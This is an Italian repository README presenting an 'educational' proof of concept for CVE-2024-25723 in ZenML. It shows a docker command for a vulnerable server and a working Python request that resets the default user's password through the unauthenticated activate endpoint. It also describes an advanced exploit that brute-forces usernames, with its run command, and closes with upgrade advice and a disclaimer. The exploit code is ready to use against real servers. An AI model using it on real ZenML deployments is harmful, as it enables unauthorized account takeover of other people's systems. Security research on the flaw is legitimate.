
Proof of Concept educativo per CVE-2024-25723, che dimostra il takeover non autorizzato dell'account in ZenML tramite il reset della password API, con rilevamento della versione ed enumerazione degli username tramite forza bruta.
Questo repository è dedicato alla gestione di CVE-2024-25723, una vulnerabilità di sicurezza critica in ZenML, con una Proof of Concept (PoC) educativa fornita per illustrare il problema e incoraggiare una pronta mitigazione. La PoC dimostra come un utente non autorizzato potrebbe potenzialmente sfruttare la vulnerabilità per impossessarsi di qualsiasi account ZenML.
docker run -it -d -p 8080:8080 --name zenml zenmldocker/zenml-server:0.46.0
import requests
base_url = "http://localhost:8080"
user = "default"
new_password = "3gx9AbzP92rfHhZ"
activate_api_url = f"{base_url}/api/v1/users/{user}/activate"
activate_api_headers = {"Content-Type": "application/json"}
activate_api_json={"password": new_password}
activate_api_response = requests.put(activate_api_url, headers=activate_api_headers, json=activate_api_json)
print(activate_api_response.json())
La differenza tra la PoC e l'exploit avanzato è che l'exploit avanzato esegue un brute force sugli username più utilizzati ed è anche in grado di rilevare se la versione è vulnerabile o meno tramite un'API che espone la versione di ZenML. Per utilizzare l'exploit avanzato, salva il codice seguente in un file:
Il comando per eseguire questo exploit è:
python3 advanced-exploit-CVE-2024-25723.py https://example.com
Tutte le versioni di ZenML inferiori alla 0.46.7 sono vulnerabili, ad eccezione delle seguenti versioni patch: (0.44.4, 0.43.1, 0.42.2).
Aggiorna all'ultima versione (0.46.7 o successiva) o a una delle versioni patchate (0.44.4, 0.43.1, 0.42.2) per mitigare questo rischio.
La Proof of Concept (PoC) fornita in questo repository ha esclusivamente scopi educativi e di ricerca sulla sicurezza. Le informazioni e il codice sono destinati all'uso da parte di professionisti della cybersecurity e ricercatori per comprendere e proteggersi dalle vulnerabilità in software e sistemi. Qualsiasi utilizzo di questa PoC, delle informazioni correlate o del codice per attaccare obiettivi senza previo consenso reciproco è illegale e severamente vietato.
Utilizzando questa PoC, accetti di comprendere il potenziale impatto della vulnerabilità che dimostra e di utilizzarla in modo responsabile ed etico. Gli autori di questa PoC declinano ogni responsabilità per qualsiasi uso improprio di questo materiale o per eventuali danni che possano derivare dall'uso delle informazioni e del codice forniti. È responsabilità dell'utente finale rispettare tutte le leggi locali, statali, nazionali e internazionali applicabili.
Gli autori hanno compiuto ogni sforzo per garantire l'accuratezza e l'affidabilità delle informazioni fornite in questo repository. Tuttavia, le informazioni sono fornite "così come sono" senza alcuna garanzia. Gli autori non accettano alcuna responsabilità per l'accuratezza, il contenuto, la completezza, la legalità o l'affidabilità delle informazioni contenute.